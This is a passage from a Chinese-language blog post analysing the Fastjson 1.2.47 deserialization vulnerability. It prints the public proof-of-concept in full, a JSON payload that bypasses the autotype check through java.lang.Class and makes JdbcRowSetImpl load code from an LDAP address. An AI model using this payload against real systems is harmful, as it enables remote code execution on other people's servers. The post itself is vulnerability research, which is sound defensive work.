FastJson历史漏洞研究(二)
前言
本文衔接上一篇文章《FastJson历史漏洞研究(一)》,继续探讨一下FastJson的历史漏洞。这次将要介绍的是Fastjson 1.2.47版本存在的漏洞成因以及其利用方式。
Fastjson 1.2.47漏洞分析
Fastjson 1.2.47版本漏洞与上篇文章中介绍的几处漏洞在原理上有着很大的不同。与Fastjson历史上存在的大多数漏洞不同的是,Fastjson 1.2.47版本的漏洞利用在AutoTypeSupport功能未开启时进行
首先来看一下公开的poc
1 2 3 4 5 6 7 8 |
public class demo { public static void main(String[] args) { String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}}"; Object obj = JSON.parseObject(payload); System.out.println(obj); } } |
从代码中可见,与以往利用不同的是,[......]